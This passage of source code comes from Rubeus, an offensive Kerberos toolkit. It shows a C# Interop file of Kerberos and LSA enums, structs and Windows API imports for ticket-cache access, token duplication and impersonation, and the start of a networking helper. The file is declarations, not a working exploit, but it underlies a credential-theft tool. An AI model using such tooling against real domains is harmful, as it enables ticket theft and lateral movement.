CANONICALIZE = 0x00010000,
CNAMEINADDLTKT = 0x00020000,
OK_AS_DELEGATE = 0x00040000,
UNUSED12 = 0x00080000,
OPTHARDWAREAUTH = 0x00100000,
PREAUTHENT = 0x00200000,
INITIAL = 0x00400000,
RENEWABLE = 0x00800000,
UNUSED7 = 0x01000000,
POSTDATED = 0x02000000,
ALLOWPOSTDATE = 0x04000000,
PROXY = 0x08000000,
PROXIABLE = 0x10000000,
FORWARDED = 0x20000000,
FORWARDABLE = 0x40000000,
RESERVED = 0x80000000
}
// from https://tools.ietf.org/html/rfc3961
public enum KERB_ETYPE : UInt32
{
des_cbc_crc = 1,
des_cbc_md4 = 2,
des_cbc_md5 = 3,
des3_cbc_md5 = 5,
des3_cbc_sha1 = 7,
dsaWithSHA1_CmsOID = 9,
md5WithRSAEncryption_CmsOID = 10,
sha1WithRSAEncryption_CmsOID = 11,
rc2CBC_EnvOID = 12,
rsaEncryption_EnvOID = 13,
rsaES_OAEP_ENV_OID = 14,
des_ede3_cbc_Env_OID = 15,
des3_cbc_sha1_kd = 16,
aes128_cts_hmac_sha1 = 17,
aes256_cts_hmac_sha1 = 18,
rc4_hmac = 23,
rc4_hmac_exp = 24,
subkey_keymaterial = 65
}
public enum KERB_CHECKSUM_ALGORITHM
{
KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,
KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16,
KERB_CHECKSUM_DES_MAC = -133,
KERB_CHECKSUM_HMAC_MD5 = -138,
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_CHECKSUM
{
public int Type;
public int Size;
public int Flag;
public IntPtr Initialize;
public IntPtr Sum;
public IntPtr Finalize;
public IntPtr Finish;
public IntPtr InitializeEx;
public IntPtr unk0_null;
}
// from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h
public enum PADATA_TYPE : UInt32
{
NONE = 0,
TGS_REQ = 1,
AP_REQ = 1,
ENC_TIMESTAMP = 2,
PW_SALT = 3,
ENC_UNIX_TIME = 5,
SANDIA_SECUREID = 6,
SESAME = 7,
OSF_DCE = 8,
CYBERSAFE_SECUREID = 9,
AFS3_SALT = 10,
ETYPE_INFO = 11,
SAM_CHALLENGE = 12,
SAM_RESPONSE = 13,
PK_AS_REQ_19 = 14,
PK_AS_REP_19 = 15,
PK_AS_REQ_WIN = 15,
PK_AS_REQ = 16,
PK_AS_REP = 17,
PA_PK_OCSP_RESPONSE = 18,
ETYPE_INFO2 = 19,
USE_SPECIFIED_KVNO = 20,
SVR_REFERRAL_INFO = 20,
SAM_REDIRECT = 21,
GET_FROM_TYPED_DATA = 22,
SAM_ETYPE_INFO = 23,
SERVER_REFERRAL = 25,
TD_KRB_PRINCIPAL = 102,
PK_TD_TRUSTED_CERTIFIERS = 104,
PK_TD_CERTIFICATE_INDEX = 105,
TD_APP_DEFINED_ERROR = 106,
TD_REQ_NONCE = 107,
TD_REQ_SEQ = 108,
PA_PAC_REQUEST = 128,
S4U2SELF = 129,
PK_AS_09_BINDING = 132,
CLIENT_CANONICALIZED = 133
}
// adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76
public enum KERBEROS_ERROR : UInt32
{
KDC_ERR_NONE = 0x0, //No error
KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired
KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired
KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported
KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key
KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key
KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database
KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database
KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database
KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key)
KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating
KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time
KDC_ERR_POLICY = 0xC, //Requested start time is later than end time
KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option
KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type
KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type
KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data)
KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type
KDC_ERR_CLIENT_REVOKED = 0x12, // Clients credentials have been revoked
KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked
KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked
KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later
KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later
KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset
KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid
KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required
KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server
KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable
KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed
KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired
KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid
KRB_AP_ERR_REPEAT = 0x22, // The request is a replay
KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us
KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match
KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great
KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket
KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO)
KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported
KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match
KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering)
KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available
KRB_AP_ERR_NOKEY = 0x2D, // Service key not available
KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed
KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction
KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required
KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message
KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported)
KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable
KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data
KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field
KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation
KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented
KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified
KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid
KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed
KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required
KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available
KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal
}
[Flags]
public enum DSGETDCNAME_FLAGS : uint
{
DS_FORCE_REDISCOVERY = 0x00000001,
DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
DS_GC_SERVER_REQUIRED = 0x00000040,
DS_PDC_REQUIRED = 0x00000080,
DS_BACKGROUND_ONLY = 0x00000100,
DS_IP_REQUIRED = 0x00000200,
DS_KDC_REQUIRED = 0x00000400,
DS_TIMESERV_REQUIRED = 0x00000800,
DS_WRITABLE_REQUIRED = 0x00001000,
DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
DS_AVOID_SELF = 0x00004000,
DS_ONLY_LDAP_NEEDED = 0x00008000,
DS_IS_FLAT_NAME = 0x00010000,
DS_IS_DNS_NAME = 0x00020000,
DS_RETURN_DNS_NAME = 0x40000000,
DS_RETURN_FLAT_NAME = 0x80000000
}
public enum TOKEN_INFORMATION_CLASS
{
/// <summary>
/// The buffer receives a TOKEN_USER structure that contains the user account of the token.
/// </summary>
TokenUser = 1,
/// <summary>
/// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token.
/// </summary>
TokenGroups,
/// <summary>
/// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token.
/// </summary>
TokenPrivileges,
/// <summary>
/// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects.
/// </summary>
TokenOwner,
/// <summary>
/// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects.
/// </summary>
TokenPrimaryGroup,
/// <summary>
/// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects.
/// </summary>
TokenDefaultDacl,
/// <summary>
/// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.
/// </summary>
TokenSource,
/// <summary>
/// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token.
/// </summary>
TokenType,
/// <summary>
/// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.
/// </summary>
TokenImpersonationLevel,
/// <summary>
/// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics.
/// </summary>
TokenStatistics,
/// <summary>
/// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token.
/// </summary>
TokenRestrictedSids,
/// <summary>
/// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token.
/// </summary>
TokenSessionId,
/// <summary>
/// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.
/// </summary>
TokenGroupsAndPrivileges,
/// <summary>
/// Reserved.
/// </summary>
TokenSessionReference,
/// <summary>
/// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.
/// </summary>
TokenSandBoxInert,
/// <summary>
/// Reserved.
/// </summary>
TokenAuditPolicy,
/// <summary>
/// The buffer receives a TOKEN_ORIGIN value.
/// </summary>
TokenOrigin,
/// <summary>
/// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
/// </summary>
TokenElevationType,
/// <summary>
/// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token.
/// </summary>
TokenLinkedToken,
/// <summary>
/// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated.
/// </summary>
TokenElevation,
/// <summary>
/// The buffer receives a DWORD value that is nonzero if the token has ever been filtered.
/// </summary>
TokenHasRestrictions,
/// <summary>
/// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token.
/// </summary>
TokenAccessInformation,
/// <summary>
/// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token.
/// </summary>
TokenVirtualizationAllowed,
/// <summary>
/// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token.
/// </summary>
TokenVirtualizationEnabled,
/// <summary>
/// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level.
/// </summary>
TokenIntegrityLevel,
/// <summary>
/// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set.
/// </summary>
TokenUIAccess,
/// <summary>
/// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy.
/// </summary>
TokenMandatoryPolicy,
/// <summary>
/// The buffer receives the token's logon security identifier (SID).
/// </summary>
TokenLogonSid,
/// <summary>
/// The maximum value for this enumeration
/// </summary>
MaxTokenInfoClass
}
[Flags]
public enum KERB_CACHE_OPTIONS : UInt64
{
KERB_RETRIEVE_TICKET_DEFAULT = 0x0,
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1,
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2,
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4,
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8,
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10,
KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20,
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40,
}
public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32
{
KerbDebugRequestMessage = 0,
KerbQueryTicketCacheMessage = 1,
KerbChangeMachinePasswordMessage = 2,
KerbVerifyPacMessage = 3,
KerbRetrieveTicketMessage = 4,
KerbUpdateAddressesMessage = 5,
KerbPurgeTicketCacheMessage = 6,
KerbChangePasswordMessage = 7,
KerbRetrieveEncodedTicketMessage = 8,
KerbDecryptDataMessage = 9,
KerbAddBindingCacheEntryMessage = 10,
KerbSetPasswordMessage = 11,
KerbSetPasswordExMessage = 12,
KerbVerifyCredentialsMessage = 13,
KerbQueryTicketCacheExMessage = 14,
KerbPurgeTicketCacheExMessage = 15,
KerbRefreshSmartcardCredentialsMessage = 16,
KerbAddExtraCredentialsMessage = 17,
KerbQuerySupplementalCredentialsMessage = 18,
KerbTransferCredentialsMessage = 19,
KerbQueryTicketCacheEx2Message = 20,
KerbSubmitTicketMessage = 21,
KerbAddExtraCredentialsExMessage = 22,
KerbQueryKdcProxyCacheMessage = 23,
KerbPurgeKdcProxyCacheMessage = 24,
KerbQueryTicketCacheEx3Message = 25,
KerbCleanupMachinePkinitCredsMessage = 26,
KerbAddBindingCacheEntryExMessage = 27,
KerbQueryBindingCacheMessage = 28,
KerbPurgeBindingCacheMessage = 29,
KerbQueryDomainExtendedPoliciesMessage = 30,
KerbQueryS4U2ProxyCacheMessage = 31
}
public enum SECURITY_LOGON_TYPE : uint
{
Interactive = 2, // logging on interactively.
Network, // logging using a network.
Batch, // logon for a batch process.
Service, // logon for a service account.
Proxy, // Not supported.
Unlock, // Tattempt to unlock a workstation.
NetworkCleartext, // network logon with cleartext credentials
NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
RemoteInteractive, // terminal server session that is both remote and interactive
CachedInteractive, // attempt to use the cached credentials without going out across the network
CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
CachedUnlock // attempt to unlock a workstation
}
public enum LOGON_PROVIDER
{
LOGON32_PROVIDER_DEFAULT,
LOGON32_PROVIDER_WINNT35,
LOGON32_PROVIDER_WINNT40,
LOGON32_PROVIDER_WINNT50
}
// structs
// From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
[StructLayout(LayoutKind.Sequential)]
public struct KERB_ECRYPT
{
int Type0;
public int BlockSize;
int Type1;
public int KeySize;
public int Size;
int unk2;
int unk3;
public IntPtr AlgName;
public IntPtr Initialize;
public IntPtr Encrypt;
public IntPtr Decrypt;
public IntPtr Finish;
IntPtr HashPassword;
IntPtr RandomKey;
IntPtr Control;
IntPtr unk0_null;
IntPtr unk1_null;
IntPtr unk2_null;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct DOMAIN_CONTROLLER_INFO
{
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainControllerName;
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainControllerAddress;
public uint DomainControllerAddressType;
public Guid DomainGuid;
[MarshalAs(UnmanagedType.LPTStr)]
public string DomainName;
[MarshalAs(UnmanagedType.LPTStr)]
public string DnsForestName;
public uint Flags;
[MarshalAs(UnmanagedType.LPTStr)]
public string DcSiteName;
[MarshalAs(UnmanagedType.LPTStr)]
public string ClientSiteName;
}
public struct SYSTEMTIME
{
public ushort wYear, wMonth, wDayOfWeek, wDay,
wHour, wMinute, wSecond, wMilliseconds;
}
// LSA structures
[StructLayout(LayoutKind.Sequential)]
public struct KERB_SUBMIT_TKT_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public int Flags;
public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
public int KerbCredSize;
public int KerbCredOffset;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_PURGE_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
LSA_STRING_IN ServerName;
LSA_STRING_IN RealmName;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_CRYPTO_KEY32
{
public int KeyType;
public int Length;
public int Offset;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_HANDLE
{
public IntPtr LowPart;
public IntPtr HighPart;
public SECURITY_HANDLE(int dummy)
{
LowPart = HighPart = IntPtr.Zero;
}
};
[StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING_IN
{
public UInt16 Length;
public UInt16 MaximumLength;
public string Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING_OUT
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public String Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
public IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_RETRIEVE_TKT_RESPONSE
{
public KERB_EXTERNAL_TICKET Ticket;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_EXTERNAL_TICKET
{
public IntPtr ServiceName;
public IntPtr TargetName;
public IntPtr ClientName;
public LSA_STRING_OUT DomainName;
public LSA_STRING_OUT TargetDomainName;
public LSA_STRING_OUT AltTargetDomainName;
public KERB_CRYPTO_KEY SessionKey;
public UInt32 TicketFlags;
public UInt32 Flags;
public Int64 KeyExpirationTime;
public Int64 StartTime;
public Int64 EndTime;
public Int64 RenewUntil;
public Int64 TimeSkew;
public Int32 EncodedTicketSize;
public IntPtr EncodedTicket;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_CRYPTO_KEY
{
public Int32 KeyType;
public Int32 Length;
public IntPtr Value;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_RETRIEVE_TKT_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public UNICODE_STRING TargetName;
public UInt32 TicketFlags;
public UInt32 CacheOptions;
public Int32 EncryptionType;
public SECURITY_HANDLE CredentialsHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_QUERY_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_QUERY_TKT_CACHE_RESPONSE
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public int CountOfTickets;
// public KERB_TICKET_CACHE_INFO[] Tickets;
public IntPtr Tickets;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_TICKET_CACHE_INFO
{
public LSA_STRING_OUT ServerName;
public LSA_STRING_OUT RealmName;
public Int64 StartTime;
public Int64 EndTime;
public Int64 RenewTime;
public Int32 EncryptionType;
public UInt32 TicketFlags;
}
[StructLayout(LayoutKind.Sequential)]
public struct KERB_EXTERNAL_NAME
{
public Int16 NameType;
public UInt16 NameCount;
public LSA_STRING_OUT Names;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_LOGON_SESSION_DATA
{
public UInt32 Size;
public LUID LoginID;
public LSA_STRING_OUT Username;
public LSA_STRING_OUT LoginDomain;
public LSA_STRING_OUT AuthenticationPackage;
public UInt32 LogonType;
public UInt32 Session;
public IntPtr PSiD;
public UInt64 LoginTime;
public LSA_STRING_OUT LogonServer;
public LSA_STRING_OUT DnsDomainName;
public LSA_STRING_OUT Upn;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct TOKEN_STATISTICS
{
public LUID TokenId;
public LUID AuthenticationId;
public long ExpirationTime;
public uint TokenType;
public uint ImpersonationLevel;
public uint DynamicCharged;
public uint DynamicAvailable;
public uint GroupCount;
public uint PrivilegeCount;
public LUID ModifiedId;
}
// functions
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
[DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);
[DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum);
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767
public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext);
//https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767
public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext);
public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer);
public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer);
public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext);
public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
[DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int DsGetDcName(
[MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
[MarshalAs(UnmanagedType.LPTStr)] string DomainName,
[In] int DomainGuid,
[MarshalAs(UnmanagedType.LPTStr)] string SiteName,
[MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags,
out IntPtr pDOMAIN_CONTROLLER_INFO);
[DllImport("Netapi32.dll", SetLastError = true)]
public static extern int NetApiBufferFree(IntPtr Buffer);
[DllImport("kernel32.dll")]
public extern static void GetSystemTime(ref SYSTEMTIME lpSystemTime);
// LSA functions
[DllImport("secur32.dll", SetLastError = false)]
public static extern int LsaConnectUntrusted(
[Out] out IntPtr LsaHandle
);
[DllImport("secur32.dll", SetLastError = false)]
public static extern int LsaLookupAuthenticationPackage(
[In] IntPtr LsaHandle,
[In] ref LSA_STRING_IN PackageName,
[Out] out int AuthenticationPackage
);
[DllImport("kernel32.dll")]
public static extern IntPtr LocalAlloc(
uint uFlags,
uint uBytes
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern uint LsaNtStatusToWinError(
uint status
);
[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
public static extern uint LsaFreeMemory(
IntPtr buffer
);
[DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)]
public static extern void CopyMemory(
IntPtr dest,
IntPtr src,
uint count
);
[DllImport("secur32.dll", SetLastError = false)]
public static extern int LsaCallAuthenticationPackage(
IntPtr LsaHandle,
int AuthenticationPackage,
IntPtr ProtocolSubmitBuffer,
int SubmitBufferLength,
out IntPtr ProtocolReturnBuffer,
out int ReturnBufferLength,
out int ProtocolStatus
);
[DllImport("secur32.dll", SetLastError = false)]
public static extern int LsaDeregisterLogonProcess(
[In] IntPtr LsaHandle
);
[DllImport("secur32.dll", SetLastError = true)]
public static extern int LsaRegisterLogonProcess(
LSA_STRING_IN LogonProcessName,
out IntPtr LsaHandle,
out ulong SecurityMode
);
// for GetSystem()
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
UInt32 DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll")]
public static extern bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(
IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
//[DllImport("advapi32.dll", SetLastError = true)]
//public static extern bool LogonUser(
// string pszUsername,
// string pszDomain,
// string pszPassword,
// int dwLogonType,
// int dwLogonProvider,
// ref IntPtr phToken);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool GetTokenInformation(
IntPtr TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
IntPtr TokenInformation,
int TokenInformationLength,
out int ReturnLength);
//[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
//public static extern bool CreateProcessAsUser(
// IntPtr hToken,
// string lpApplicationName,
// string lpCommandLine,
// ref SECURITY_ATTRIBUTES lpProcessAttributes,
// ref SECURITY_ATTRIBUTES lpThreadAttributes,
// bool bInheritHandles,
// uint dwCreationFlags,
// IntPtr lpEnvironment,
// string lpCurrentDirectory,
// ref STARTUPINFO lpStartupInfo,
// out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
UInt32 logonFlags,
String applicationName,
String commandLine,
UInt32 creationFlags,
UInt32 environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(
IntPtr hObject
);
[DllImport("Secur32.dll", SetLastError = false)]
public static extern uint LsaEnumerateLogonSessions(
out UInt64 LogonSessionCount,
out IntPtr LogonSessionList
);
[DllImport("Secur32.dll", SetLastError = false)]
public static extern uint LsaGetLogonSessionData(
IntPtr luid,
out IntPtr ppLogonSessionData
);
[DllImport("secur32.dll", SetLastError = false)]
public static extern uint LsaFreeReturnBuffer(
IntPtr buffer
);
}
}

1132
Rubeus/lib/LSA.cs Executable file

File diff suppressed because it is too large Load Diff

87
Rubeus/lib/Networking.cs Executable file
View File

@ -0,0 +1,87 @@
using System;
using System.ComponentModel;
using System.Linq;
using System.Runtime.InteropServices;
namespace Rubeus
{
public class Networking
{
public static string GetDCName()
{
// retrieves the current domain controller name
// adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname
Interop.DOMAIN_CONTROLLER_INFO domainInfo;
const int ERROR_SUCCESS = 0;
IntPtr pDCI = IntPtr.Zero;
int val = Interop.DsGetDcName("", "", 0, "",
Interop.DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED |
Interop.DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME |
Interop.DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI);
if (ERROR_SUCCESS == val)
{
domainInfo = (Interop.DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(Interop.DOMAIN_CONTROLLER_INFO));
string dcName = domainInfo.DomainControllerName;
Interop.NetApiBufferFree(pDCI);
return dcName.Trim('\\');
}
else
{
string errorMessage = new Win32Exception((int)val).Message;
Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage);
Interop.NetApiBufferFree(pDCI);
return "";
}
}
public static byte[] SendBytes(string server, int port, byte[] data)
{
// send the byte array to the specified server/port
// TODO: try/catch for IPAddress parse
Console.WriteLine("[*] Connecting to {0}:{1}", server, port);
System.Net.IPEndPoint endPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port);
System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
socket.Ttl = 128;
byte[] lenBytes = BitConverter.GetBytes(data.Length);
Array.Reverse(lenBytes);
